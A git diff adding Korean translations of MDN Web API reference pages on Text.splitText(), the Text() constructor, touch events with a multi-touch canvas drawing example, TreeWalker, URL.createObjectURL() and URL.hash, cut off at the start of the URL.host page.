{{apiref("DOM")}}
+ +

Text.splitText() 메소드는 {{domxref("Text")}} 노드를 지정된 오프셋에서 두 노드로 분리합니다. 두 노드는 sibling으로써 트리에 유지됩니다.

+ +

분리한 이후, 현재 노드는 지정된 오프셋 지점까지의 모든 컨텐츠를 포함하며, 새롭게 생성된 같은 타입의 노드는 남아있는 텍스트를 포함합니다. 새롭게 생성된 노드는 호출자에게 반환됩니다. 기존 노드가 부모를 갖고 있다면, 새 노드는 기존 노드의 다음 sibling으로 삽입됩니다. 기존 노드의 길이와 오프셋이 동일하다면, 새롭게 생성된 노드는 데이터를 갖지 않습니다.

+ +

분리된 텍스트 노드는 {{domxref("Node.normalize()")}} 메소드를 사용해 이어붙혀질 수 있습니다.

+ +

지정된 오프셋이 음수이거나 노드의 텍스트의 16 비트 단위의 수보다 크면 INDEX_SIZE_ERR 값을 갖는 {{domxref("DOMException")}} 을 throw됩니다. NO_MODIFICATION_ALLOWED_ERR 값을 갖는 {{domxref("DOMException")}} 은 노드가 읽기 전용일 때 throw됩니다.

+ +

문법

+ +
replacementNode = textnode.splitText(offset)
+
+ +

예제

+ +

이 예제에서 {{HTMLElement("p")}} 텍스트 노드는 두 텍스트 노드로 분리되며 그 사이에 {{HTMLElement("span")}} 이 삽입됩니다.

+ +
<body>
+  <p id="p">foobar</p>
+
+  <script type="text/javascript">
+    var p = document.getElementById('p');
+    var textnode = p.firstChild;
+
+    // foo 와 bar 사이를 분리
+    var replacementNode = textnode.splitText(3);
+
+    // ' span contents ' 를 포함하는 span을 생성
+    var span = document.createElement('span');
+    span.appendChild(document.createTextNode(' span contents '));
+
+    // 'bar' 앞에 span을 추가
+    p.insertBefore(span, replacementNode);
+
+    // 결과: <p id="p">foo<span> span contents </span>bar</p>
+  </script>
+</body>
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-text-splittext', 'Text.splitText')}}{{Spec2('DOM WHATWG')}}{{SpecName('DOM3 Core')}} 로부터 변경 사항 없음.
{{SpecName('DOM3 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM3 Core')}}{{SpecName('DOM2 Core')}} 로부터 변경 사항 없음.
{{SpecName('DOM2 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM2 Core')}}{{SpecName('DOM1')}} 로부터 변경 사항 없음.
{{SpecName('DOM1', 'level-one-core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Text.splitText")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/text/text/index.html b/files/ko/web/api/text/text/index.html new file mode 100644 index 0000000000..e993de91c8 --- /dev/null +++ b/files/ko/web/api/text/text/index.html @@ -0,0 +1,55 @@ +--- +title: Text() +slug: Web/API/Text/Text +tags: + - API + - DOM + - Text + - 생성자 + - 실험중 +translation_of: Web/API/Text/Text +--- +

{{ Apiref("DOM")}}{{seeCompatTable}}

+ +

Text() 생성자는 옵션인 파라미터로 주어진 문자형 컨텐츠인 {{domxref("DOMString")}} 으로 새롭게 생성된 {{domxref("Text")}} 객체를 반환합니다.

+ +

문법

+ +
text1 = new Text(); // 빈 텍스트 노드 생성
+text2 = new Text("텍스트 노드입니다");
+
+ +

예제

+ +
text = new Text("Test");
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#text', 'Text.Text()')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Text.Text")}}

+ +

함께 보기

+ + + +

 

diff --git a/files/ko/web/api/touch_events/index.html b/files/ko/web/api/touch_events/index.html new file mode 100644 index 0000000000..7663877d7a --- /dev/null +++ b/files/ko/web/api/touch_events/index.html @@ -0,0 +1,399 @@ +--- +title: Touch events +slug: Web/API/Touch_events +translation_of: Web/API/Touch_events +--- +
{{DefaultAPISidebar("Touch Events(터치이벤트)")}}
+ +
일부분만 번역함.
+ +
 
+ +

 터치를 기반으로 한 양질의 서비스를 제공하기 위해, Touch Events(터치이벤트)는 터치로 인한 움직임을 감지할 능력을 제공합니다.

+ +

터치 이벤트 인터페이스는 상대적으로 low-lever API이며 multi-touch interaction등의 다양한 동작을 특정해 트리거 할 수 있습니다. multi-touch interaction은 한 손가락이 터치패드에 처음 닫는 순간 시작합니다. 이후 다른 손가락들이 터치패드에 닿고 선택적으로 터치패드를 가로지를 수도 있습니다. interaction은 손가락들이 터치패드에서 떨어지면 끝납니다. interaction동안에 어플리케이션은 touch start, move, end 이벤트들을 받습니다.

+ +

Touch events는 동시에 여러 손가락으로 동시에 혹은 여러 지점에 터치 할 수 있다는 것만 제외하면 마우스 이벤트와 유사합니다. 터치이벤트 인터페이스는 현재 액션과 터치 지점을 캡슐화 합니다. single touch로 대표되는 interface는 터치된 정보등을 포함합니다.

+ +

Definitions

+ +
+
Surface
+
터치 스크린, 터치 패드등을 포함합니다.
+
+ +
+
Touch point
+
손가락이나 터치 펜을 이용해 터치한 지점을 말합니다.
+
+ +

Interfaces

+ +
+
{{domxref("TouchEvent")}}
+
터치나 surface 위에서의 움직임들 입니다.
+
{{domxref("Touch")}}
+
touch surface위의 한 지점에 접촉할 때 발생합니다.
+
{{domxref("TouchList")}}
+
다중의 터치가 동시에 일어 났을 때 발생합니다.
+
+ +

Example

+ +

This example tracks multiple touch points at a time, allowing the user to draw in a {{HTMLElement("canvas")}} with more than one finger at a time. It will only work on a browser that supports touch events.

+ +
Note: The text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method.
+ +

Create a canvas

+ +
<canvas id="canvas" width="600" height="600" style="border:solid black 1px;">
+  Your browser does not support canvas element.
+</canvas>
+<br>
+<button onclick="startup()">Initialize</button>
+<br>
+Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
+
+ +

Setting up the event handlers

+ +

When the page loads, the startup() function shown below should be called by our {{HTMLElement("body")}} element's onload attribute (but in the example we use a button to trigger it, due to limitations of the MDN live example system).

+ +
function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+  log("initialized.");
+}
+
+ +

This simply sets up all the event listeners for our {{HTMLElement("canvas")}} element so we can handle the touch events as they occur.

+ +

Tracking new touches

+ +

We'll keep track of the touches in-progress.

+ +
var ongoingTouches = [];
+
+ +

When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the handleStart() function below is called.

+ +
function handleStart(evt) {
+  evt.preventDefault();
+  log("touchstart.");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    log("touchstart:" + i + ".");
+  }
+}
+
+ +

This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.

+ +

After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.

+ +

Drawing as the touches move

+ +

Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our handleMove() function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.

+ +
function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      log("continuing touch "+idx);
+      ctx.beginPath();
+      log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      log(".");
+    } else {
+      log("can't figure out which touch to continue");
+    }
+  }
+}
+
+ +

This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.

+ +

This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.

+ +

After drawing the line, we call Array.splice() to replace the previous information about the touch point with the current information in the ongoingTouches array.

+ +

Handling the end of a touch

+ +

When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle both of these the same way: by calling the handleEnd() function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.

+ +
function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      log("can't figure out which touch to end");
+    }
+  }
+}
+
+ +

This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call Array.splice(), we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.

+ +

Handling canceled touches

+ +

If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the handleCancel() function below.

+ +
function handleCancel(evt) {
+  evt.preventDefault();
+  log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+
+ +

Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.

+ +

Convenience functions

+ +

This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.

+ +

Selecting a color for each touch

+ +

In order to make each touch's drawing look different, the colorForTouch() function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.

+ +
function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+
+ +

The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#aaa".

+ +

Copying a touch object

+ +

Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.

+ +
function copyTouch(touch) {
+  return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+}
+ +

Finding an ongoing touch

+ +

The ongoingTouchIndexById() function below scans through the ongoingTouches array to find the touch matching the given identifier, then returns that touch's index into the array.

+ +
function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i < ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+
+ +

Showing what's going on

+ +
function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}
+ +

If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.

+ +

jsFiddle example

+ +

Additional tips

+ +

This section provides additional tips on how to handle touch events in your web application.

+ +

Handling clicks

+ +

Since calling preventDefault() on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call preventDefault() on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)

+ +
function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+
+ +

Calling preventDefault() only on a second touch

+ +

One technique for preventing things like pinchZoom on a page is to call preventDefault() on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}Added radiusX, radiusY, rotationAngle, force properties
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +

Note that unfortunately touch events may not fire at all on laptops with touch functionality (test page).

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("22.0")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("18.0")}}[1]
+ {{CompatGeckoDesktop("52.0")}}[2]
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] The dom.w3c_touch_events.enabled tri-state preference can be used to disable (0), enable (1), and auto-detect (2) support for standard touch events; by default, they're on auto-detect (2).

+ +

As of Gecko 24.0 {{geckoRelease("24.0")}}, the touch events support introduced with Gecko 18.0 {{geckoRelease("18.0")}} has been disabled on the desktop version of Firefox ({{bug(888304)}}), as some popular sites including Google and Twitter were not working properly. Once the bug is fixed, the API will be enabled again. To enable it anyway, open about:config and set the dom.w3c_touch_events.enabled preference to 2. The mobile versions including Firefox for Android and Firefox OS are not affected by this change.

+ +

[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.

+ +
+

Note: Prior to Gecko 6.0 {{geckoRelease("6.0")}}, Gecko offered a proprietary touch event API. That API is now deprecated; you should switch to this one.

+
+ +

Firefox, touch events, and multiprocess (e10s)

+ +

In Firefox, touch events are disabled when e10s (electrolysis; multiprocess Firefox) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.

+ +

You can test whether e10s is disabled by going to about:support and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.

+ +

If you want to force e10s to be on — to explicitly reenable touch events support — you need to go to about:config and create a new boolean preference browser.tabs.remote.force-enable. Set it to true, restart the browser, and e10s will be enabled regardless of any other settings.

diff --git a/files/ko/web/api/treewalker/currentnode/index.html b/files/ko/web/api/treewalker/currentnode/index.html new file mode 100644 index 0000000000..1e68eabbb5 --- /dev/null +++ b/files/ko/web/api/treewalker/currentnode/index.html @@ -0,0 +1,63 @@ +--- +title: TreeWalker.currentNode +slug: Web/API/TreeWalker/currentNode +tags: + - API + - DOM + - Property + - Reference + - TreeWalker +translation_of: Web/API/TreeWalker/currentNode +--- +
{{ APIRef("DOM") }}
+ +

TreeWalker.currentNode 속성은 {{domxref("TreeWalker")}}가 현재 가리키고 있는 {{domxref("Node")}}를 나타낸다.

+ +

구문

+ +
node = treeWalker.currentNode;
+treeWalker.currentNode = node;
+
+ +

예제

+ +
var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+root = treeWalker.currentNode; // 첫번째 엘리먼트인 루트 엘리먼트!
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('DOM WHATWG', '#dom-treewalker-currentnode', 'TreeWalker.currrentNode')}}{{Spec2('DOM WHATWG')}}{{SpecName('DOM2 Traversal_Range')}}에서 바뀌지 않음
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-currentNode', 'TreeWalker.currentNode')}}{{Spec2('DOM2 Traversal_Range')}}초기 정의.
+ +

브라우저 호환성

+ +

{{Compat("api.TreeWalker.currentNode")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/treewalker/index.html b/files/ko/web/api/treewalker/index.html new file mode 100644 index 0000000000..1f2a520efd --- /dev/null +++ b/files/ko/web/api/treewalker/index.html @@ -0,0 +1,168 @@ +--- +title: TreeWalker +slug: Web/API/TreeWalker +tags: + - API + - DOM + - Reference +translation_of: Web/API/TreeWalker +--- +
+

{{ APIRef("DOM") }}

+
+ +

TreeWalker 오브젝트는 도큐먼트 서브트리의 노드들과 그 안에서의 위치를 나타낸다.

+ +

TreeWalker 는 {{domxref("Document.createTreeWalker()")}} 메소드로 생성할 수 있다.

+ +

속성

+ +

이 인터페이스는 어떤 프라퍼티도 상속하지 않는다.

+ +
+
{{domxref("TreeWalker.root")}} {{readonlyInline}}
+
TreeWalker 를 생성할 때 지정한 루트 노드를 나타대는 {{domxref("Node")}}를 반환한다.
+
{{domxref("TreeWalker.whatToShow")}} {{readonlyInline}}
+
제공해야할 {{domxref("Node")}} 유형을 기술하는 unsigned long 비트마스크를 반환한다. 일치하지 않는 노드들은 건너뛰지만 관련된 경우 그 자식들을 포함할 수 있다. 가능한 값들은: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수숫자 값설명
NodeFilter.SHOW_ALL-1unsigned long의 최대 값)모든 노드를 보여준다.
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2속성 {{ domxref("Attr") }} 노드들을 보여준다. {{ domxref("Attr") }}노드가 루트인 {{ domxref("TreeWalker") }}를 생성할 때에만 의미가 있다. 이 경우, 그 속성 노드가 그 반복 또는 순회에 첫 위치로 나타남을 의미한다. 속성은 결코 다른 노드의 자식이 아니기 때문에 도큐먼트 트리를 순회할 때는 나타나지 않는다.
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8{{ domxref("CDATASection") }} 노드들을 보여준다.
NodeFilter.SHOW_COMMENT128{{ domxref("Comment") }} 노드들을 보여준다.
NodeFilter.SHOW_DOCUMENT256{{ domxref("Document") }} 노드들을 보여준다.
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024{{ domxref("DocumentFragment") }} 노드들을 보여준다.
NodeFilter.SHOW_DOCUMENT_TYPE512{{ domxref("DocumentType") }} 노드들을 보여준다.
NodeFilter.SHOW_ELEMENT1{{ domxref("Element") }} 노드들을 보여준다.
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32{{ domxref("Entity") }} 노드들을 보여준다. {{ domxref("Entity") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Entity") }} 노드가 그 순회의 첫 위치에 나타남을 의미한다. 엔티티들은 도큐먼트 트리의 일부가 아니기 때문에 도큐먼트 트리를 순회할 때 나타나지 않는다.
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16{{ domxref("EntityReference") }} 노드들을 보여준다.
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048{{ domxref("Notation") }} 노드들을 보여준다. {{ domxref("Notation") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Notation") }} 노드가 순회의 첫 위치에 나타남을 의미한다, 그들은 도큐먼트 트리를 순회할 때 나타나지 않는다.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64{{ domxref("ProcessingInstruction") }} 노드들을 보여준다.
NodeFilter.SHOW_TEXT4{{ domxref("Text") }} 노드들을 보여준다.
+
+
{{domxref("TreeWalker.filter")}} {{readonlyInline}}
+
의미있는 노드들을 선택하기 위해 사용하는 {{domxref("NodeFilter")}}를 반환한다.
+
{{domxref("TreeWalker.expandEntityReferences")}} {{readonlyInline}}{{obsolete_inline}}
+
한 {{domxref("EntityReference")}}를 버릴 때 그 것의 전체 서브트리도 같이 버려야함을 표시하는 {{domxref("Boolean")}}이다.
+
{{domxref("TreeWalker.currentNode")}}
+
TreeWalker가 현재 가리키고 있는 {{domxref("Node")}}이다.
+
+ +

메서드

+ +

이 인터페이스는 아무 메서드도 상속하지 않는다.

+ +
+

TreeWalker는 보이는 DOM 노드만 고려한다는 것에주의하라.

+
+ +
+
{{domxref("TreeWalker.parentNode()")}}
+
현재 {{domxref("Node")}}를 도큐먼트 순서의 첫번째 보이는 조상으로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 루트 노드보다 앞이면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.firstChild()")}}
+
현재 {{domxref("Node")}}를 현재 노드의 첫번째 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.lastChild()")}}
+
현재 {{domxref("Node")}}를 현재 노드의 마지막 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.previousSibling()")}}
+
현재 {{domxref("Node")}}를 이전 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.nextSibling()")}}
+
현재 {{domxref("Node")}}를 다음 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.previousNode()")}}
+
현재 {{domxref("Node")}}를 도큐먼트 순서의 이전 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 루트 노드보다 앞이면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.nextNode()")}}
+
현재 {{domxref("Node")}}를 도큐먼트 순서의 다음 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 루트 노드보다 앞이면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-treewalker', 'TreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences property.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker', 'TreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.TreeWalker")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/createobjecturl/index.html b/files/ko/web/api/url/createobjecturl/index.html new file mode 100644 index 0000000000..cd38dcd8ea --- /dev/null +++ b/files/ko/web/api/url/createobjecturl/index.html @@ -0,0 +1,101 @@ +--- +title: URL.createObjectURL() +slug: Web/API/URL/createObjectURL +tags: + - API + - Method + - Reference + - URL + - URL API +translation_of: Web/API/URL/createObjectURL +--- +
{{APIRef("URL API")}}
+ +

URL.createObjectURL() 정적 메서드는 주어진 객체를 가리키는 URL을 {{domxref("DOMString")}}으로 반환합니다. 해당 URL은 자신을 생성한 창의 {{domxref("document")}}가 사라지면 함께 무효화됩니다.

+ +

객체 URL을 해제하려면 {{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}을 호출하세요.

+ +

{{AvailableInWorkers}}

+ +
+

참고: 이 기능은 메모리 누수의 가능성으로 인해 Service Worker에서 사용할 수 없습니다.

+
+ +

구문

+ +
const objectURL = URL.createObjectURL(object)
+ +

매개변수

+ +
+
object
+
객체 URL을 생성할 {{domxref("File")}}, {{domxref("Blob")}}, {{domxref("MediaSource")}} 객체.
+
+ +

반환 값

+ +

지정한 object의 참조 URL을 담은 {{domxref("DOMString")}}

+ + + +

예제

+ +

객체 URL을 사용하여 이미지 표시하기를 보세요.

+ +

사용 일람

+ +

메모리 관리

+ +

같은 객체를 사용하더라도, createObjectURL()을 매번 호출할 때마다 새로운 객체 URL을 생성합니다. 각각의 URL을 더는 쓰지 않을 땐 {{domxref("URL.revokeObjectURL()")}}을 사용해 하나씩 해제해줘야 합니다.

+ +

브라우저는 불러온 문서를 해제할 때 객체 URL도 자동으로 해제합니다. 그러나 최적의 성능과 메모리 사용량을 위해서, 객체 URL을 해제해도 안전하다면 그렇게 해야 합니다.

+ +

미디어 스트림 객체 URL

+ +

구 Media Source 명세에서는 {{HTMLElement("video")}} 요소에 스트림을 부착하려면 {{domxref("MediaStream")}}의 객체 URL을 생성했어야 했습니다. 이제 이런 과정은 필수가 아니며, 브라우저도 지원을 중단하고 있습니다.

+ +
+

중요: 아직 미디어 요소에 {{domxref("URL.createObjectURL", "createObjectURL()")}}을 사용해 스트림을 부착하고 있다면, {{domxref("HTMLMediaElement.srcObject", "srcObject")}}에 MediaStream을 직접 설정하도록 코드를 수정해야 합니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#dfn-createObjectURL', 'createObjectURL()')}}{{Spec2('File API')}}Initial definition.
{{SpecName('Media Source Extensions', '#dom-url-createobjecturl', 'URL')}}{{Spec2('Media Source Extensions')}} +

MediaSource extension.

+ +

Older versions of this specification used createObjectURL() for {{domxref("MediaStream")}} objects; this is no longer supported.

+
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.createObjectURL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/hash/index.html b/files/ko/web/api/url/hash/index.html new file mode 100644 index 0000000000..e14c99aabb --- /dev/null +++ b/files/ko/web/api/url/hash/index.html @@ -0,0 +1,62 @@ +--- +title: URL.hash +slug: Web/API/URL/hash +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/hash +--- +
{{ APIRef("URL API") }}
+ +

{{domxref("URL")}} 인터페이스의 hash 속성은 맨 앞의 '#'과 함께 URL의 프래그먼트 식별자를 담고 있는 {{domxref("USVString")}}입니다.

+ +

프래그먼트에는 퍼센트 디코딩을 적용하지 않습니다. URL이 프래그먼트 식별자를 포함하지 않은 경우 빈 문자열을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const string = url.hash
+url.hash = newHash
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href#예제');
+console.log(url.hash); // Logs: '#예제'
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-hash', 'URL.hash')}}{{Spec2('URL')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.hash")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/host/index.html b/files/ko/web/api/url/host/index.html new file mode 100644 index 0000000000..b29da1bd73 --- /dev/null +++ b/files/ko/web/api/url/host/index.html @@ -0,0 +1,67 @@ +--- +title: URL.host +slug: Web/API/URL/host +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/host +--- +
{{ApiRef("URL API")}}
+ +

